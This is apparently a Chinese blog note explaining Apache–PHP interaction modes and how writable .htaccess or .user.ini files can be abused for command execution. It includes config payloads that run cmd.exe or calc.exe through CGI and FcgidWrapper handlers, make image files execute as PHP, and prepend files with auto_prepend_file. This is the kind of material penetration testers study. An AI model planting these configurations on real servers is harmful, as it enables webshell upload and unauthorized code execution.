一、Apache 与 PHP 的交互方式
1. CGI 模式
当动态请求到达,Apache启动一个临时的cgi解释器(可以在配置文件中人为指定处理的cgi脚本),当cgi脚本运行结束后,将结果返回给Apache,然后cgi解释器进程自我销毁。当多个动态请求到达时,将先后启动多个cgi解释器。所以这种方法效率极低。
2. Module 模式
Apache在启动的时候直接加载php_module,php-cgi常驻Apache进程里,请求到达时,不用成生成cgi解释器,而是直接将动态请求转发给它内部php-cgi。
3. FastCGI 模式
FastCGI是CGI的管理工具,该模式下可以实现php-cgi和Apache的分离,并运行在不同的服务器上,通过开启一定数量的CGI进程池,减少Web服务器与CGI程序之间互动的开销,从而使服务器可以同时处理更多的网页请求。PHP-FPM(FastCGI Process Manager)是用来辅助mode_fastcgi模式的fastcgi管理器,相比FastCGI静态的唤起cgi,fpm能根据访问的压力动态的唤起cgi进程和销毁以到达动态的调整cgi数量。
二、Apache 开启.htaccess 配置
需要Apache 保证.htaccess文件所在目录配置 AllowOverride all 或者 AllowOverride Options FileInfo
三、CGI 模式利用
1. 修改Apache 配置文件,开启 CGI 模式
LoadModule cgi_module modules/mod_cgi.so
2. 修改 .htaccess 内容
Options ExecCGI # 允许CGI执行 AddHandler cgi-script .xx # 将xx后缀名的文件,当做CGI程序进行解析
3. 访问 poc.xx 触发命令执行
#!C:/Windows/System32/cmd.exe /c start calc.exe 1
四、Module 模式利用
1. 修改Apache 配置文件,开启Module 模式,引入 php.so
2. PHP 包含其他文件
(1)修改 php.ini 向所有php文件的头或尾包含其他文件,服务器启动时执行,修改后需要重启服务器
auto_prepend_file = "/home/fdipzone/header.php" auto_append_file = "/home/fdipzone/footer.php"
(2)修改 .htaccess 将php文件的头或尾包含其他文件,缺点是目录中每个被读取和被解释的文件每次都要进行处理,性能低;不需要重启服务器;不需要管理员权限
php_value auto_prepend_file "/home/fdipzone/header.php" php_value auto_append_file "/home/fdipzone/footer.php"
3. 将特定后缀名文件作为 PHP 解析
AddType application/x-httpd-php .jpg # 不建议使用
<FilesMatch "test.jpg"> # 特定文件名作为php解析 SetHandler application/x-httpd-php </FilesMatch>
五、FastCGI 模式利用
1. 修改Apache 配置文件,开启 FastCGI 模式
LoadModule fcgid_module modules/mod_fcgid.so
2. 修改 .htaccess 内容
Options +ExecCGI AddHandler fcgid-script .abc # abc后缀名的文件需要被fcgi来解析,AddHandler还可以换成AddType FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
3. 访问 xxx.abc 的文件触发命令执行,内容随便
也可以使用过相对路径触发,可以避免网络路径更改。如果配置相对路径,其值与phpinfo中的 session.save_path 值起点相同,如果是phpstudy则为\Extensions\tmp\tmp,例如将html解析成php,php-cgi.exe 和 php.ini 在同一目录下(phpinfo中Loaded Configuration File)
AddHandler fcgid-script .htm1 FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .htm1
或者直接触发命令执行
AddHandler fcgid-script .xx FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
4. 修改.user.ini 利用
对于CGI/FastCGI模式 PHP 5.3.0 以上版本,还可以使用 在目录下创建.user.ini文件 。来引入该参数
auto_prepend_file = 123.gif
参考链接:
[3] Apache中.htaccess文件利用的总结与新思路拓展
No Leanote account ? Sign up now.